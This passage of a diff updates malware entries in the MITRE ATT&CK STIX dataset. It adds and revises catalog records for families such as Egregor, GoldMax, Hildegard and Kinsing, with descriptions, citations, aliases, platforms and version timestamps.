"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "external_references": [ + { + "external_id": "S0554", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0554" + }, + { + "source_name": "Egregor", + "description": "(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)" + }, + { + "source_name": "NHS Digital Egregor Nov 2020", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", + "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020." + }, + { + "source_name": "Cyble Egregor Oct 2020", + "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/", + "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020." + }, + { + "source_name": "Security Boulevard Egregor Oct 2020", + "url": "https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/", + "description": "Meskauskas, T.. (2020, October 29). Egregor: Sekhmet\u2019s Cousin. Retrieved January 6, 2021." + } + ], "type": "malware", "labels": [ "malware" ], - "modified": "2020-10-21T18:25:38.692Z", - "created": "2019-04-19T16:40:24.922Z", - "x_mitre_contributors": [ - "Marc-Etienne M.L\u00e9veill\u00e9, ESET" - ], - "x_mitre_version": "1.2", - "x_mitre_aliases": [ - "Ebury" - ], + "modified": "2021-04-27T02:48:00.306Z", + "created": "2020-12-29T21:32:27.939Z", "x_mitre_platforms": [ - "Linux" + "Windows" + ], + "x_mitre_aliases": [ + "Egregor" + ], + "x_mitre_version": "1.0", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security", + "Matt Brenton, Zurich Insurance Group" ] }, { @@ -246451,7 +289921,7 @@ "labels": [ "malware" ], - "modified": "2020-08-13T15:23:35.947Z", + "modified": "2020-11-24T20:15:54.954Z", "created": "2019-03-25T18:35:14.353Z", "x_mitre_contributors": [ "Omkar Gudhate" @@ -246554,12 +290024,12 @@ "labels": [ "malware" ], - "modified": "2020-03-30T16:22:06.314Z", + "modified": "2021-04-02T00:14:13.954Z", "created": "2019-06-28T17:40:32.217Z", "x_mitre_contributors": [ "ESET" ], - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_aliases": [ "EvilBunny" ], @@ -246602,13 +290072,12 @@ "x_mitre_version": "1.1" }, { - "id": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", - "name": "Exaramel for Linux", - "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under [Exaramel for Windows](https://attack.mitre.org/software/S0343).(Citation: ESET TeleBots Oct 2018)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2019-08-26T13:02:46.378Z", + "modified": "2021-04-14T22:43:50.451Z", + "labels": [ + "malware" ], + "type": "malware", "external_references": [ { "external_id": "S0401", @@ -246620,24 +290089,25 @@ "description": "(Citation: ESET TeleBots Oct 2018)" }, { - "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "source_name": "ESET TeleBots Oct 2018", "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", - "source_name": "ESET TeleBots Oct 2018" + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018." } ], - "type": "malware", - "labels": [ - "malware" - ], - "modified": "2020-03-20T17:08:21.639Z", - "created": "2019-08-26T13:02:46.378Z", - "x_mitre_platforms": [ - "Linux" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under [Exaramel for Windows](https://attack.mitre.org/software/S0343).(Citation: ESET TeleBots Oct 2018)", + "name": "Exaramel for Linux", + "id": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "x_mitre_version": "1.2", "x_mitre_aliases": [ "Exaramel for Linux" ], - "x_mitre_version": "1.1" + "x_mitre_platforms": [ + "Linux" + ] }, { "created": "2019-01-30T15:10:03.894Z", @@ -246677,6 +290147,49 @@ ], "x_mitre_version": "2.1" }, + { + "created": "2021-02-08T21:41:25.501Z", + "modified": "2021-04-27T01:56:35.649Z", + "labels": [ + "malware" + ], + "type": "malware", + "id": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "description": "[Explosive](https://attack.mitre.org/software/S0569) is a custom-made remote access tool used by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123). It was first identified in the wild in 2015.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "name": "Explosive", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0569", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0569" + }, + { + "source_name": "Explosive", + "description": "(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) " + }, + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + }, + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "Explosive" + ], + "x_mitre_version": "1.0" + }, { "id": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -246705,7 +290218,7 @@ "labels": [ "malware" ], - "modified": "2020-03-27T20:45:20.126Z", + "modified": "2021-04-23T20:01:10.366Z", "created": "2018-01-16T16:13:52.465Z", "x_mitre_platforms": [ "Windows" @@ -246713,7 +290226,7 @@ "x_mitre_aliases": [ "FALLCHILL" ], - "x_mitre_version": "1.1" + "x_mitre_version": "1.2" }, { "object_marking_refs": [ @@ -247275,7 +290788,7 @@ "labels": [ "malware" ], - "modified": "2020-03-20T18:11:27.347Z", + "modified": "2020-11-06T15:24:20.400Z", "created": "2019-09-12T17:40:38.303Z", "x_mitre_platforms": [ "Linux" @@ -247283,7 +290796,7 @@ "x_mitre_aliases": [ "Fysbis" ], - "x_mitre_version": "1.1" + "x_mitre_version": "1.2" }, { "id": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2", @@ -247371,17 +290884,22 @@ }, { "source_name": "WhiteBear", - "description": "The term WhiteBear is used both for the activity group (a subset of G0010) as well as the malware observed. Based on similarities in behavior and C2, WhiteBear is assessed to be the same as S0168. (Citation: Securelist WhiteBear Aug 2017)" + "description": "The term WhiteBear is used both for the activity group (a subset of G0010) as well as the malware observed. Based on similarities in behavior and C2, WhiteBear is assessed to be the same as S0168. (Citation: Securelist WhiteBear Aug 2017)(Citation: ESET Crutch December 2020)" }, { - "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "source_name": "ESET Gazer Aug 2017", "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", - "source_name": "ESET Gazer Aug 2017" + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" }, { "source_name": "Securelist WhiteBear Aug 2017", "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", "url": "https://securelist.com/introducing-whitebear/81638/" + }, + { + "source_name": "ESET Crutch December 2020", + "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", + "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020." } ], "object_marking_refs": [ @@ -247391,7 +290909,7 @@ "labels": [ "malware" ], - "modified": "2020-03-28T21:34:33.810Z", + "modified": "2020-12-04T21:07:22.870Z", "created": "2018-01-16T16:13:52.465Z", "x_mitre_platforms": [ "Windows" @@ -247403,7 +290921,7 @@ "Gazer", "WhiteBear" ], - "x_mitre_version": "1.1" + "x_mitre_version": "1.2" }, { "id": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", @@ -247456,7 +290974,7 @@ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019)", + "description": "[Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBbot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019)", "name": "Get2", "id": "malware--099ecff2-41b8-436d-843c-038a9aa9aa69", "type": "malware", @@ -247511,6 +291029,92 @@ ], "x_mitre_version": "1.1" }, + { + "external_references": [ + { + "external_id": "S0597", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0597" + }, + { + "source_name": "GoldFinder", + "description": "(Citation: MSTIC NOBELIUM Mar 2021)" + }, + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GoldFinder](https://attack.mitre.org/software/S0597) is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. [GoldFinder](https://attack.mitre.org/software/S0597) was discovered in early 2021 during an investigation into the SolarWinds cyber intrusion by [APT29](https://attack.mitre.org/groups/G0016).(Citation: MSTIC NOBELIUM Mar 2021)", + "name": "GoldFinder", + "id": "malware--b7010785-699f-412f-ba49-524da6033c76", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-24T22:32:23.654Z", + "created": "2021-03-26T16:48:31.793Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "GoldFinder" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, + { + "id": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "name": "GoldMax", + "description": "[GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go that was used by [APT29](https://attack.mitre.org/groups/G0016) and discovered in early 2021 during the investigation into breaches related to the SolarWinds intrusion. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0588", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0588" + }, + { + "source_name": "GoldMax", + "description": "(Citation: MSTIC NOBELIUM Mar 2021)" + }, + { + "source_name": "SUNSHUTTLE", + "description": "(Citation: FireEye SUNSHUTTLE Mar 2021)" + }, + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + }, + { + "source_name": "FireEye SUNSHUTTLE Mar 2021", + "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", + "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021." + } + ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-26T22:52:42.023Z", + "created": "2021-03-12T16:10:45.416Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "GoldMax", + "SUNSHUTTLE" + ], + "x_mitre_version": "1.0" + }, { "external_references": [ { @@ -247579,6 +291183,45 @@ ], "x_mitre_version": "1.0" }, + { + "external_references": [ + { + "external_id": "S0531", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0531" + }, + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020." + }, + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. [Grandoreiro](https://attack.mitre.org/software/S0531) has confirmed victims in Brazil, Mexico, Portugal, and Spain.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)", + "name": "Grandoreiro", + "id": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2020-12-22T21:22:34.174Z", + "created": "2020-11-10T21:13:44.259Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "Grandoreiro" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, { "id": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -247655,6 +291298,40 @@ "Windows" ] }, + { + "external_references": [ + { + "external_id": "S0561", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0561" + }, + { + "source_name": "Unit 42 NETWIRE April 2020", + "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198).(Citation: Unit 42 NETWIRE April 2020)", + "name": "GuLoader", + "id": "malware--45c759ac-b490-48bb-80d4-c8eee3431027", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-20T21:06:08.972Z", + "created": "2021-01-11T20:49:20.832Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "GuLoader" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, { "id": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -247740,9 +291417,9 @@ "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" }, { - "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", + "source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", - "source_name": "F-Secure The Dukes" + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" } ], "object_marking_refs": [ @@ -247752,7 +291429,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T16:45:38.272Z", + "modified": "2021-02-09T13:58:23.806Z", "created": "2017-05-31T21:32:29.203Z", "x_mitre_platforms": [ "Windows" @@ -248218,7 +291895,7 @@ "labels": [ "malware" ], - "modified": "2020-05-13T22:56:22.295Z", + "modified": "2021-02-09T14:57:16.085Z", "created": "2017-05-31T21:32:56.860Z", "x_mitre_platforms": [ "Windows" @@ -248256,9 +291933,9 @@ "labels": [ "malware" ], - "modified": "2020-07-31T18:01:53.826Z", + "modified": "2021-04-23T20:07:01.487Z", "created": "2019-06-24T12:04:32.323Z", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_aliases": [ "HiddenWasp" ], @@ -248270,7 +291947,7 @@ "id": "malware--95047f03-4811-4300-922e-1ba937d53a61", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Hikit", - "description": "[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise. (Citation: Novetta-Axiom) (Citation: FireEye Hikit Rootkit)", + "description": "[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise.(Citation: Novetta-Axiom)(Citation: FireEye Hikit Rootkit)", "external_references": [ { "source_name": "mitre-attack", @@ -248295,7 +291972,7 @@ "labels": [ "malware" ], - "modified": "2020-05-13T20:37:29.986Z", + "modified": "2021-04-23T01:52:58.448Z", "created": "2017-05-31T21:32:14.124Z", "x_mitre_contributors": [ "Christopher Glyer, FireEye, @cglyer" @@ -248306,7 +291983,46 @@ "x_mitre_aliases": [ "Hikit" ], - "x_mitre_version": "1.1" + "x_mitre_version": "1.2" + }, + { + "id": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120", + "name": "Hildegard", + "description": "[Hildegard](https://attack.mitre.org/software/S0601) is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind [Hildegard](https://attack.mitre.org/software/S0601). (Citation: Unit 42 Hildegard Malware)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0601", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0601" + }, + { + "source_name": "Unit 42 Hildegard Malware", + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", + "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021." + } + ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-12T12:51:56.886Z", + "created": "2021-04-07T18:07:47.604Z", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_platforms": [ + "Linux", + "Containers", + "IaaS" + ], + "x_mitre_aliases": [ + "Hildegard" + ], + "x_mitre_version": "1.0" }, { "created": "2020-05-01T19:10:31.446Z", @@ -248376,9 +292092,9 @@ "url": "https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ" }, { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "source_name": "Symantec Trojan.Hydraq Jan 2010", @@ -248418,7 +292134,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T16:50:01.217Z", + "modified": "2021-01-06T19:32:28.374Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_platforms": [ "Windows" @@ -248478,6 +292194,40 @@ "Windows" ] }, + { + "external_references": [ + { + "external_id": "S0537", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0537" + }, + { + "source_name": "Accenture HyperStack October 2020", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HyperStack](https://attack.mitre.org/software/S0537) is a RPC-based backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2018. [HyperStack](https://attack.mitre.org/software/S0537) has similarities to other backdoors used by [Turla](https://attack.mitre.org/groups/G0010) including [Carbon](https://attack.mitre.org/software/S0335).(Citation: Accenture HyperStack October 2020)", + "name": "HyperStack", + "id": "malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2020-12-04T15:04:01.604Z", + "created": "2020-12-02T20:48:23.462Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "HyperStack" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, { "id": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -248883,6 +292633,40 @@ ], "x_mitre_version": "1.1" }, + { + "external_references": [ + { + "external_id": "S0528", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0528" + }, + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Javali](https://attack.mitre.org/software/S0528) is a banking trojan that has targeted Portuguese and Spanish-speaking countries since 2017, primarily focusing on customers of financial institutions in Brazil and Mexico.(Citation: Securelist Brazilian Banking Malware July 2020)", + "name": "Javali", + "id": "malware--64122557-5940-4271-9123-25bfc0c693db", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2020-12-22T21:07:41.508Z", + "created": "2020-11-09T18:32:18.369Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "Javali" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, { "id": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -248959,6 +292743,41 @@ ], "x_mitre_version": "1.1" }, + { + "id": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "name": "KGH_SPY", + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) is a modular suite of tools used by [Kimsuky](https://attack.mitre.org/groups/G0094) for reconnaissance, information stealing, and backdoor capabilities. [KGH_SPY](https://attack.mitre.org/software/S0526) derived its name from PDB paths and internal names found in samples containing \"KGH\".(Citation: Cybereason Kimsuky November 2020)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0526", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0526" + }, + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-22T13:42:18.822Z", + "created": "2020-11-06T18:58:35.456Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "KGH_SPY", + "KGH_SPY " + ], + "x_mitre_version": "1.0" + }, { "id": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -249115,7 +292934,7 @@ "labels": [ "malware" ], - "modified": "2020-03-20T21:15:48.610Z", + "modified": "2020-12-02T21:20:50.906Z", "created": "2018-10-17T00:14:20.652Z", "x_mitre_platforms": [ "Windows", @@ -249124,7 +292943,41 @@ "x_mitre_aliases": [ "Kazuar" ], - "x_mitre_version": "1.2" + "x_mitre_version": "1.3" + }, + { + "external_references": [ + { + "external_id": "S0585", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0585" + }, + { + "source_name": "Amnesty Intl. Ocean Lotus February 2021", + "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/", + "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kerrdown](https://attack.mitre.org/software/S0585) is a downloader used by [APT32](https://attack.mitre.org/groups/G0050) to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)", + "name": "Kerrdown", + "id": "malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-03-02T13:57:47.488Z", + "created": "2021-03-02T13:38:32.673Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "Kerrdown" + ], + "x_mitre_platforms": [ + "Windows" + ] }, { "external_references": [ @@ -249198,7 +293051,7 @@ "labels": [ "malware" ], - "modified": "2020-03-27T20:55:47.638Z", + "modified": "2021-02-09T14:04:15.433Z", "created": "2019-06-14T16:45:33.729Z", "x_mitre_platforms": [ "Windows" @@ -249259,6 +293112,49 @@ ], "x_mitre_version": "1.1" }, + { + "id": "malware--d6e55656-e43f-411f-a7af-45df650471c5", + "name": "Kinsing", + "description": "[Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0599", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0599" + }, + { + "source_name": "Aqua Kinsing April 2020", + "url": "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", + "description": "Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021." + }, + { + "source_name": "Sysdig Kinsing November 2020", + "url": "https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/", + "description": "Huang, K. (2020, November 23). Zoom into Kinsing. Retrieved April 1, 2021." + } + ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-12T12:49:39.027Z", + "created": "2021-04-06T12:22:23.447Z", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_platforms": [ + "Containers", + "Linux" + ], + "x_mitre_aliases": [ + "Kinsing" + ], + "x_mitre_version": "1.0" + }, { "external_references": [ { @@ -249458,9 +293354,9 @@ "description": "(Citation: Symantec Linfo May 2012)" }, { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "source_name": "Symantec Linfo May 2012", @@ -249475,7 +293371,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T16:57:00.081Z", + "modified": "2021-01-06T19:32:28.394Z", "created": 